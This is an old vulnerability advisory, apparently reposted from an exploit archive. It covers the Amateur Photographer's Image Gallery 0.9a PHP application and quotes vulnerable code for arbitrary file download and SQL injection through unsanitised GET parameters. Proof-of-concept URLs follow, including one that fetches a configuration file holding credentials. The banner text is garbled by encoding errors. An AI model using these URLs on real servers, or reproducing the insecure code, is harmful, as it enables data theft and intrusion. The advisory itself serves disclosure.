Amateur Photographer's Image Gallery 0.9a XSS / SQL Inj

Posted on 23 October 2012
ÃÂšÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„¿
Â³ ÃÂšÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ‚ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„¿ Â³
Â³ Â³ Undergroundthalo Hacking Team - Security Advisory Â³ Â³
Â³ ÃÂšÃÂ----------------------------------------ÃÂ€Â³ÃÂ™-----------------------------------ÃÂ¿ Â³
Â³ÃÂš´ Author : cr4wl3r Â³ Release Date : 18-Okt-2012 ÃÂƒ¿Â³
Â³Â³Â³ Product : Amateur Photographer's Image Â³ Size : 302.3 kB Â³Â³Â³
Â³Â³Â³ Link : http://sourceforge.net/projects/ap-imagegallery Â³Â³Â³
Â³ÃÂƒÃÂ------------------------------------------Â³-------------------------------------ÃÂ´Â³
Â³Â³ gallery-0.9a.zip Â³ Â³Â³
Â³ÃÂ€ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂÃÂ„ÃÂ„ÃÂ„ÃÂÃÂ„ÃÂ„ÃÂ„ÃÂÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ™Â³
Â³ Details Â³
Â³ Â³
Â³ Amateur Photographer's Image Gallery 0.9a Â³
Â³ Â³
Â³ A image gallery for photographers who don't care if their photos are publicly Â³
Â³ available on the web. Offers many advanced features such as image preloading Â³
Â³ which enables you to switch photos without waiting for the next photo to load. Â³
Â³ In this vulnerability, attacker can download any file from server. Â³
Â³ for example, downloading a configuration file contains information username Â³
Â³ database, another case attacker can inject database with SQL Injection Â³
Â³ or XSS only from URL Â³
Â³------------------------------------------------------------------------------------Â³
 RFD Code in force-download.php

<?php
$filename = $_GET['file'];

// required for IE, otherwise Content-disposition is ignored
if(ini_get('zlib.output_compression'))
 ini_set('zlib.output_compression', 'Off');

// addition by Jorg Weske
$file_extension = strtolower(substr(strrchr($filename,"."),1));

if( $filename == "" )
{
 echo "<html><title>eLouai's Download Script</title><body>ERROR: download file NOT SPECIFIED. USE force-download.php?file=filepath</body></html>";
 exit;
} elseif ( ! file_exists( $filename ) )
{
 echo "<html><title>eLouai's Download Script</title><body>ERROR: File not found. USE force-download.php?file=filepath</body></html>";
 exit;
};
switch( $file_extension )
{
 case "pdf": $ctype="application/pdf"; break;
 case "exe": $ctype="application/octet-stream"; break;
 case "zip": $ctype="application/zip"; break;
 case "doc": $ctype="application/msword"; break;
 case "xls": $ctype="application/vnd.ms-excel"; break;
 case "ppt": $ctype="application/vnd.ms-powerpoint"; break;
 case "gif": $ctype="image/gif"; break;
 case "png": $ctype="image/png"; break;
 case "jpeg":
 case "jpg": $ctype="image/jpg"; break;
 default: $ctype="application/force-download";
}
header("Pragma: public"); // required
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Cache-Control: private",false); // required for certain browsers
header("Content-Type: $ctype");
// change, added quotes to allow spaces in filenames, by Rajkumar Singh
header("Content-Disposition: attachment; filename="".basename($filename)."";" );
header("Content-Transfer-Encoding: binary");
header("Content-Length: ".filesize($filename));
readfile("$filename"); <------- BOOOOOOM
exit();
?>

 SQLi Code plist.php

<?php
include 'database.php';
$index = 1;
$albumid = $_GET['albumid'];

$folder = select_row("SELECT folder FROM albums where id = $albumid");
$folder = $folder['folder'];

$retid = select("SELECT * FROM photos where albumid = $albumid ORDER BY date, large");
while ($row = mysql_fetch_array($retid))
{
 if ($index == 1) { echo "<tr>
"; } // begin row
 $small = $row["small"];
 $id = $row["id"];
 echo "<td width='200px' height='200px' align='center' valign='middle'><a href='photo.php?id=$id&albumid=$albumid'><img src='albums/$folder/$small' border='0' /></a></td>"; // display cell
 if ($index == 3) { echo "
</tr>"; $index = 1; } // end row
 else { $index = $index + 1; } // increment count
}
?>

 SQLi Code fullscreen.php

 <?php
 require 'database.php';

 // initialize variables
 $current_photo_id = $_GET['id'];
 $album_id = $_GET['albumid'];
 $js_psuedo_index = 0;
 $number_of_photos = -1;
 echo "var img = [];
";

 // find the folder where the photos are located and the album name
 $row = select_row("SELECT * FROM albums where id = $album_id");

 $folder = $row['folder'];
 $album_name = $row['name'];

Â³------------------------------------------------------------------------------------Â³
Â³ Proof of Concept : Â³
Â³ Â³
Â³ http://b0x/path_gallery/force-download.php?file=[RFD] Â³
Â³ http://b0x/path_gallery/force-download.php?file=constants.php Â³
Â³ http://b0x/path_gallery/plist.php?albumid=[SQLi] Â³
Â³ http://b0x/path_gallery/plist.php?albumid=[XSS] Â³
Â³ http://b0x/path_gallery/fullscreen.php?albumid=[SQLi] Â³
Â³ Â³
Â³ Â³
Â³ Â³
Â³ Undergroundthalo Hacking Team Â³
Â³ Site: http://0xuht.org Â³
Â³ Twitter: @hackb0x Â³
Â³ Â³
Â³ ÃÂšÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„¿ Â³
Â³ Â³ Happy Birhtday Saskia Adam :) Â³ Â³
ÃÂ€ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ„ÃÂ™
TOP
Malware :

Last 20
Exploits :

Last 20